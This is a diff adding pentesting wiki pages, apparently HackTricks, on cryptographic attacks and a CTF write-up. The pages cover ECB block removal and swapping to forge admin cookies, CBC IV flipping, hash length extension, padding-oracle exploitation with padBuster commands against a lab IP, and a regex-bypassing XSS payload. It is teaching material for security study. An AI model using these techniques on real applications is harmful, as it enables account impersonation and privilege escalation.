+### CBC-MAC simple attack \(controlling IV\)
+
+If you can control the used IV the attack could be very easy.
+
+To impersonate the user "**administrator**" you can create the user "**Administrator**" and you will have the cookie with the **username+signature** and the cookie with the **IV**.
+
+To generate the cookies of the username "**administrator**" change the first cookie and set the username from "**Administrator**" to "**administrator**". Change the first byte of the cookie of the **IV** so **IV\[0\] XOR "A" == IV'\[0\] XOR "a"**. Using these cookies you can login as administrator.
+
diff --git a/cryptography/crypto-ctfs-tricks.md b/cryptography/crypto-ctfs-tricks.md
new file mode 100644
index 00000000000..b2529d9dd11
--- /dev/null
+++ b/cryptography/crypto-ctfs-tricks.md
@@ -0,0 +1,256 @@
+# Crypto CTFs Tricks
+
+## Online Hashes DBs
+
+* _**Google it**_
+* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
+* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/)
+* [https://crackstation.net/](https://crackstation.net/)
+* [https://md5decrypt.net/](https://md5decrypt.net/)
+* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
+* [https://gpuhash.me/](https://gpuhash.me/)
+* [https://hashes.org/search.php](https://hashes.org/search.php)
+* [https://www.cmd5.org/](https://www.cmd5.org/)
+* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
+* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
+
+## Encoders
+
+Most of encoded data can be decoded with these 2 ressources:
+
+* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
+* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+
+### Substitution Autosolvers
+
+* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
+* [https://quipqiup.com/](https://quipqiup.com/) - Very good !
+
+#### Caesar - ROTx Autosolvers
+
+* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
+
+#### Atbash Cipher
+
+* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
+
+### Similar to BASE64
+
+Check all bases with: [https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
+
+* **Base32** \[_A-Z2-7=_\]
+ * `NBXWYYLDMFZGCY3PNRQQ====`
+* **Base58** \[_123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz_\]
+ * `2yJiRg5BF9gmsU6AC`
+* **Base62** \[_0-9A-Za-z_\]
+ * `g2AextRZpBKRBzQ9`
+* **Base64** \[_A-Za-z0-9+/=_\]
+ * `aG9sYWNhcmFjb2xh`
+* **Base85 --> Like Ascii85**
+* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_\]
+ * `MIc3KiXa+Ihz+lrXMIc3KbCC`
+* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_\]
+ * `DmPsv8J7qrlKEoY7`
+* **MEGAN35** \[_3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5_\]
+ * `kLD8iwKsigSalLJ5`
+* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_\]
+ * `ayRiIo1gpO+uUc7g`
+* **ESAB46** \[\]
+ * `3sHcL2NR8WrT7mhR`
+* **MEGAN45** \[\]
+ * `kLD8igSXm2KZlwrX`
+* **TIGO3FX** \[\]
+ * `7AP9mIzdmltYmIP9mWXX`
+* **TRIPO5** \[\]
+ * `UE9vSbnBW6psVzxB`
+* **FERON74** \[\]
+ * `PbGkNudxCzaKBm0x`
+* **GILA7** \[\]
+ * `D+nkv8C1qIKMErY1`
+* **Citrix CTX1** \[\]
+ * `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
+
+[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+
+### HackerizeXS \[_╫Λ↻├☰┏_\]
+
+```text
+╫☐↑Λ↻Λ┏Λ↻☐↑Λ
+```
+
+* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+
+### Morse
+
+```text
+.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
+```
+
+* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+
+### UUencoder
+
+```text
+begin 644 webutils_pl
+M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
+M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
+F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
+`
+end
+```
+
+* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
+
+### XXEncoder
+
+```text
+begin 644 webutils_pl
+hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
+5Hol-G2xAEE++
+end
+```
+
+* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
+
+### YEncoder
+
+```text
+=ybegin line=128 size=28 name=webutils_pl
+ryvkryvkryvkryvkryvkryvkryvk
+=yend size=28 crc32=35834c86
+```
+
+* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
+
+### BinHex
+
+```text
+(This file must be converted with BinHex 4.0)
+:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
+-38K26%'d9J!!:
+```
+
+* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
+
+### ASCII85
+
+```text
+<~85DoF85DoF85DoF85DoF85DoF85DoF~>
+```
+
+* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
+
+### Dvorak keyboard
+
+```text
+drnajapajrna
+```
+
+* [https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
+
+### A1Z26
+
+Letters to their numerical value
+
+```text
+8 15 12 1 3 1 18 1 3 15 12 1
+```
+
+### Affine Cipher Encode
+
+Letter to num `(ax+b)%26` \(_a_ and _b_ are the keys and _x_ is the letter\) and the result back to letter
+
+```text
+krodfdudfrod
+```
+
+### SMS Code
+
+**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) \(This mode is used when writing SMS\).
+For example: 2=A, 22=B, 222=C, 3=D...
+You can identify this code because you will see **several numbers repeated**.
+
+You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
+
+### Bacon Code
+
+Substitude each letter for 4 As or Bs \(or 1s and 0s\)
+
+```text
+00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
+AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
+```
+
+### Runes
+
+
+
+## Compression
+
+**Raw Deflate** and **Raw Inflate** \(you can find both in Cyberchef\) can compress and decompress data without headers.
+
+## Easy Crypto
+
+### XOR - Autosolver
+
+* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
+
+### Bifid
+
+A keywork is needed
+
+```text
+fgaargaamnlunesuneoa
+```
+
+### Vigenere
+
+A keywork is needed
+
+```text
+wodsyoidrods
+```
+
+* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
+* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
+* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
+
+## Strong Crypto
+
+### Fernet
+
+2 base64 strings \(token and key\)
+
+```text
+Token:
+gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
+
+Key:
+-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
+```
+
+* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
+
+### Samir Secret Sharing
+
+A secret is splitted in X parts and to recover it you need Y parts \(_Y <=X_\).
+
+```text
+8019f8fa5879aa3e07858d08308dc1a8b45
+80223035713295bddf0b0bd1b10a5340b89
+803bc8cf294b3f83d88e86d9818792e80cd
+```
+
+[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
+
+### OpenSSL brute-force
+
+* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
+* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
+
+## Tools
+
+* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
+* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
+* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
+
diff --git a/cryptography/electronic-code-book-ecb.md b/cryptography/electronic-code-book-ecb.md
new file mode 100644
index 00000000000..aa6a1a92147
--- /dev/null
+++ b/cryptography/electronic-code-book-ecb.md
@@ -0,0 +1,226 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Electronic Code Book \(ECB\)
+
+**Post from:** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## ECB
+
+ECB is an encryption mode in which the message is splitted into blocks of X bytes length and each block is encrypted separetely using a key.
+
+The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
+
+
+
+You can check the [recent XKCD on the Adobe's password leak](http://xkcd.com/1286/) to get an humoristic idea of the problems tied to ECB.
+
+During the decryption, the reverse operation is used. Using ECB has multiple security implications:
+
+* Blocks from encrypted message can be removed without disturbing the decryption process.
+* Blocks from encrypted message can be moved around without disturbing the decryption process.
+
+In this exercise, we will see how we can exploit these two weaknesses.
+
+## Detection of the vulnerability
+
+In this exercise, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
+
+If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
+
+If we look at the cookie, we can see that it seems uri-encoded and base64-encoded:
+
+
+
+The 2 equals sign encoded as `%3d%3d` are a good indicator of base64-encoded string.
+
+We can decode it using the following ruby code:
+
+```text
+% irb
+> require 'base64' ; require 'uri'
+ => true
+> Base64.decode64(URI.decode("OR9hcp18%2BC1bChK10NlRRg%3d%3d"))
+ => "9\x1Far\x9D|\xF8-[\n\x12\xB5\xD0\xD9QF"
+```
+
+Or by decoding the URI to a string manually and use the base64 command:
+
+```text
+% echo "OR9hcp18+C1bChK10NlRRg==" | base64 -D | hexdump -C
+0000000 39 1f 61 72 9d 7c f8 2d 5b 0a 12 b5 d0 d9 51 46 |9.ar.|.-[.....QF|
+0000010
+```
+
+On osX, the command `base64 -D` replaces `base64 -d`
+
+In both cases, we can see that the information seems to be encrypted.
+
+First, we can start by creating two accounts `test1` and `test2` with the same password: `password` and compare the cookies sent by the application. We get the following cookies \(after URI-decoding\):
+
+| Account: | test1 | test2 |
+| :--- | :--- | :--- |
+| Cookie: | vHMQ+Nq9C3MHT8ZkGeMr4w== | Mh+JMH1OMhcHT8ZkGeMr4w== |
+
+If we base64-decode both cookies, we get the following strings:
+
+| Account: | test1 | test2 |
+| :--- | :--- | :--- |
+| Decoded cookie: | \xBCs\x10\xF8\xDA\xBD\vs**\aO\xC6d\x19\xE3+\xE3** | 2\x1F\x890}N2\x17**\aO\xC6d\x19\xE3+\xE3** |
+
+We can see that part of the decrypted values look really similar.
+
+Now we can try to create a user with an arbitrary long username and password. For example, a username composed of 20 `a` and a password composed of 20 `a`. By creating this user, we get the following cookie:
+
+```text
+> document.cookie
+"auth=GkzSM2vKHdcaTNIza8od1wS28inRHiC2GkzSM2vKHdcaTNIza8od1ys96EXmirn5"
+```
+
+If we decode this value, we get the following value:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
+```
+
+We can see that the following pattern \(composed of 8 bytes\): **`\x1AL\xD23k\xCA\x1D\xD7`** comes back multiple times:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
+```
+
+Based on the size of the pattern, we can infer that the ECB encryption uses a block size of 8 bytes.This example is using a weak encryption mechanism and it's likely that real life examples will use bigger block size.
+
+The decoded information also shows us that the username and password are not directly concatenated and that a delimiter is added \(since one of the block in the middle is different from the previous one\).
+
+We can think of the encrypted stream has one of the two following possibilities:
+
+* The stream contains the username, a delimiter and the password:
+
+
+
+* The stream contains the password, a delimiter and the username:
+
+
+
+By creating another user with a long username and a short password, we can see that the following pattern is used: `username|delimiter|password`.
+
+Now let's try to find the size of the delimiter, if we play with different size of username and password we get the following results:
+
+| Username length: | Password length: | Username+Password length: | Cookie's length \(after decoding\): |
+| :--- | :--- | :--- | :--- |
+| 2 | 3 | 5 | 8 |
+| 3 | 3 | 6 | 8 |
+| 3 | 4 | 7 | 8 |
+| 4 | 4 | 8 | 16 |
+| 4 | 5 | 9 | 16 |
+
+We can see that the size of the decoded cookie goes from 8 to 16 bytes when the length of the Username+Password is greater than 7. We can infer from this value that the delimiter is a single byte since the encryption is done per block of 8 bytes.
+
+Another important thing is to see what part of the encrypted stream is used by the application when we send the cookie back. If we remove everything after the block corresponding to the delimiter, we can see that we are still authenticated. The password does not seem to be used when the cookie gets used by the application.
+
+We now know that we just need to get the correct `username|delimiter` to get authenticated within the application as `username`.If you can find what delimiter is used \(or brute force it\), you can try to create a user with a username that contains the delimiter \(for example the username "`admin:`"\). Using this method, you may be able to get logged in as `admin`. This web application prevents this type of attack.
+
+## Exploitation of the vulnerability
+
+### By removing information
+
+The easiest way to get `admin` access is to remove some of the encrypted data. We know that the application uses the following format:
+
+```text
+\[username\]:\[separator\]
+```
+
+and only uses the `username` when the cookie is sent back to the application. We also know that each block of 8 bytes is completely independant \(ECB\). To exploit this issue, we can create a username that contains 8 characters followed by the word `admin`:
+
+```text
+aaaaaaaaadmin
+```
+
+And we will receive the cookie \(retrieved using the Javascript Console\):
+
+```text
+> document.cookie
+"auth=GkzSM2vKHdfgVmQuKXLregdPxmQZ4yvj"
+```
+
+This value will get decoded as:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
+```
+
+We can see the pattern `\x1AL\xD23k\xCA\x1D\xD7` detected previously with the username that contained 20 `a`.
+
+We can then remove the first 8 bytes of information and reencode our payload to get a new cookie:
+
+```text
+\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
+```
+
+That will get encoded by the following ruby code:
+
+```text
+% irb
+> require 'cgi'; require 'base64'
+ => true
+> CGI.escape(Base64.strict_encode64("\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3"))
+ => "4FZkLily63oHT8ZkGeMr4w%3D%3D"
+```
+
+Once you modify the cookie:
+
+
+
+And send this value back to the application \(by reloading the page\), you get logged in as `admin`:
+
+
+
+### By swapping blocks around
+
+A more complicated way to bypass this is to swap data around. We can make the assumption that the application will use an SQL query to retrieve information from the user based on his `username`. For some databases, when using the type of data `VARCHAR` \(as opposed to `BINARY` for example\), the following will give the same result:
+
+```text
+SELECT * FROM users WHERE username='admin';
+```
+
+```text
+SELECT * FROM users WHERE username='admin ';
+```
+
+The spaces after the value `admin` are ignored during the string comparison. We will use this to play with the encrypted blocks.
+
+Our goal is to end up with the following encrypted data:
+
+```text
+ECB(admin [separator]password)
+```
+
+We know that our separator is only composed of one byte. We can use this information to create the perfect `username` and `password`to be able to swap the blocks and get the correct forged value.
+
+We need to find a username and a password for which:
+
+* the password starts with `admin` to be used as the new username.
+* the encrypted password should be located at the start of a new block.
+* the `username+delimiter` length should be divisible by the block size \(from previous conditions\)
+
+By playing around, we can see that the following values work:
+
+* a `username` composed of `password` \(8 bytes\) followed by 7 spaces \(1 byte will be used by the delimiter\).
+* a `password` composed of `admin` followed by 3 spaces \(`8 - length("admin")`\).
+
+When creating this user, use a proxy to intercept the request and make sure your browser didn't remove the space characters.
+
+If you create correctly this user, the encrypted information will look like:
+
+Using some Ruby \(or even with Burp decoder\), you can swap the first 8 bytes with the last 8 bytes to get the following encrypted stream:
+
+Once you modify your cookie, and you reload the page, you should be logged in as `admin`:
+
+
+
+## Conclusion
+
+This exercise showed you how you can tamper encrypted information without decrypting them and use this behaviour to gain access to other accounts. It showed you that encryption can not be used as a replacement to signature and how it's possible to use ECB encryption to get control on the decrypted information. I hope you enjoyed learning with PentesterLab.
+
diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md
new file mode 100644
index 00000000000..6dbcbcc0696
--- /dev/null
+++ b/cryptography/hash-length-extension-attack.md
@@ -0,0 +1,35 @@
+# Hash Length Extension Attack
+
+## Summary of the attack
+
+Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
+
+* **The length of the secret** \(this can be also bruteforced from a given length range\)
+* **The clear text data**
+* **The algorithm \(and it's vulnerable to this attack\)**
+* **The padding is known**
+ * Usually a default one is used, so if the other 3 requirements are met, this also is
+ * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
+
+Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**.
+
+### How?
+
+Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** \(state\), they **add the next block of data** and **hash it**.
+
+Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.
+If an attacker wants to append the string "append" he can:
+
+* Generate a MD5 of 64 "A"s
+* Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
+* Append the string "append"
+* Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
+
+### **Tool**
+
+{% embed url="https://github.com/iagox86/hash\_extender" %}
+
+## References
+
+You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+
diff --git a/cryptography/padding-oracle-priv.md b/cryptography/padding-oracle-priv.md
new file mode 100644
index 00000000000..1a1100ce546
--- /dev/null
+++ b/cryptography/padding-oracle-priv.md
@@ -0,0 +1,125 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Padding Oracle
+
+**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## Cipher Block Chaining
+
+CBC is an encryption mode in which the message is split into blocks of X bytes length and each block is XORed with the previous encrypted block. The result is then encrypted.
+
+The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
+
+
+
+During the decryption, the reverse operation is used. The encrypted data is split in block of X bytes. Then the block is decrypted and XORed with the previous encrypted block to get the cleartext. The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) highlights this behavior:
+
+
+
+Since the first block does not have a previous block, an initialization vector \(IV\) is used.
+
+## Padding
+
+As we saw, the encryption is done by blocks of fixed size. To ensure that the cleartext exactly fit in one or multiple blocks, padding is often used. Padding can be done in multiple ways. A common way is to use PKCS7. With PKCS7, the padding will be composed of the same number: the number of bytes missing. For example, if the cleartext is missing 2 bytes, the padding will be `\x02\x02`.
+
+Let's look at more examples with a 2 blocks:
+
+| Block \#0 | Block \#1 | | | | | | | | | | | | | | |
+| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- |
+| byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 | byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | '3' | **0x02** | **0x02** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | **0x03** | **0x03** | **0x03** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
+
+## Padding Oracle
+
+When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, **if** an **invalid** **padding** triggers a detectable **behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack** of **results**, or a **slower response**.
+
+If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
+
+### How to exploit
+
+You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
+
+```text
+sudo apt-get install padbuster
+```
+
+In order to test if the cookie of a site is vulnerable you could try:
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "auth=Nl0OpaQYeGPMJeWSih2iiQ=="
+```
+
+**Encoding 0** means that **base64** is used \(but others are available, check the help menu\).
+
+You could also **abuse** this **vulnerability** to **encrypt new data**. For example, imagine that the content of the cookie is "_user=MyUsername_", then you may change it to "_**user=administrator**_" and escalate privileges inside the application. You could also do it using `paduster`specifying the **-plaintext** parameter:
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "auth=Nl0OpaQYeGPMJeWSih2iiQ==" -plaintext "user=administrator"
+```
+
+If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "hcon=Nl0OpaQYeGPMJeWSih2iiQ==" -error "Invalid padding"
+```
+
+### The theory
+
+In **summary**, you can start decrypting the encrypted data by **guessing** the correct **values** that can be used to **create** all the **different paddings**. Then, the padding oracle attack will start **decrypting** bytes **from** the **end** to the start by **guessing** which will be the correct **value** that **creates a padding of 1, 2, 3, etc**.
+
+If we zoom in, we can see that the cleartext byte `C15` is just a XOR between the encrypted byte `E7` from the previous block, and byte `I15` which came out of the block decryption step:
+
+
+
+This is also valid for all other bytes:
+
+* `C14 = I14 ^ E6`
+* `C13 = I13 ^ E5`
+* `C12 = I12 ^ E4`
+* ...
+
+Now if we modify `E7` and keep changing its value, we will keep getting an invalid padding. Since we need `C15` to be `\x01`. However, there is one value of `E7` that will give us a valid padding. Let's call it `E'7`. With `E'7`, we get a valid padding. And since we know we get a valid padding we know that `C'15` \(as in `C15` for `E'7`\) is `\x01`.
+
+`\x01 = I15 ^ E'7`
+
+The gives us:
+
+`I15 = \x01 ^ E'7`
+
+So we are able to compute `I15`.
+
+Since we know `I15`, we can now compute `C15`
+
+`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
+
+Now that we have `C15`, we can move to brute-forcing `C14`. First we need to compute another `E7` \(let's call it `E''7`\) that gives us `C15 = \x02`. We need to do that since we want the padding to be `\x02\x02` now. It's really simple to compute using the property above and by replacing the value of `C15` we want \(`\x02`\) and `I15` we now know:
+
+`E''7 = \x02 ^ I15`
+
+After brute force `E6`, to find the value that gives us a valid padding `E''6`, we can re-use the formula:
+
+`C14 = I14 ^ E6`
+
+to get
+
+`I14 = \x02 ^ E''6`
+
+Once we get `I14`, we can compute `C14`:
+
+`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
+
+Using this method, we can keep going until we get all the ciphertext decrypted.
+
+### Detection of the vulnerability
+
+To get started, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
+
+If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
+
+Now, if you try to modify the cookie, you can see that you get an error from the application.
+
diff --git a/cryptography/rc4-encrypt-and-decrypt.md b/cryptography/rc4-encrypt-and-decrypt.md
new file mode 100644
index 00000000000..12991b9aeda
--- /dev/null
+++ b/cryptography/rc4-encrypt-and-decrypt.md
@@ -0,0 +1,14 @@
+# RC4 - Encrypt&Decrypt
+
+If you can somehow encrypt a plaintext using a RC4**,** you can decrypt any content encrypted by that RC4\(using the same password\) just using the encryption function.
+
+If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
+
+{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+
+{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+
+\*\*\*\*
+
+
+
diff --git a/ctf-write-ups/README.md b/ctf-write-ups/README.md
new file mode 100644
index 00000000000..7328e9213f3
--- /dev/null
+++ b/ctf-write-ups/README.md
@@ -0,0 +1,5 @@
+# CTF Write-ups
+
+* [Write-up factory](https://writeup.raw.pm/) - Seach engine to find write-ups \(TryHackMe, HackTheBox, etc.\)
+* [CTFtime Write-ups](https://ctftime.org/writeups) - Newest write-ups added to CTF events on CTFtime
+
diff --git a/ctf-write-ups/challenge-0521.intigriti.io.md b/ctf-write-ups/challenge-0521.intigriti.io.md
new file mode 100644
index 00000000000..54346279bf1
--- /dev/null
+++ b/ctf-write-ups/challenge-0521.intigriti.io.md
@@ -0,0 +1,176 @@
+# challenge-0521.intigriti.io
+
+### Brief Description
+
+The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).
+This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io/) via an iframe.
+
+It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.
+However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.
+Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function.
+
+### Accessing the HTML
+
+It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:
+
+
+Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways:
+
+```javascript
+document.domain
+document["domain"]
+```
+
+And the same happens with attributes that are functions \(methods\):
+
+```javascript
+document.write("1")
+document["write"]("1")
+```
+
+Then, from the `e` HTML element it’s possible to access the `document` object using something like:
+
+```javascript
+e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
+```
+
+### Calling a function without parenthesis with JS code as string
+
+From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.
+However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** \(\`\`\).
+Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like:
+
+```javascript
+`${"alert(document.location)"}`
+```
+
+Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’s possible to **execute an alert using**:
+
+```javascript
+e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}`
+```
+
+You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)
+
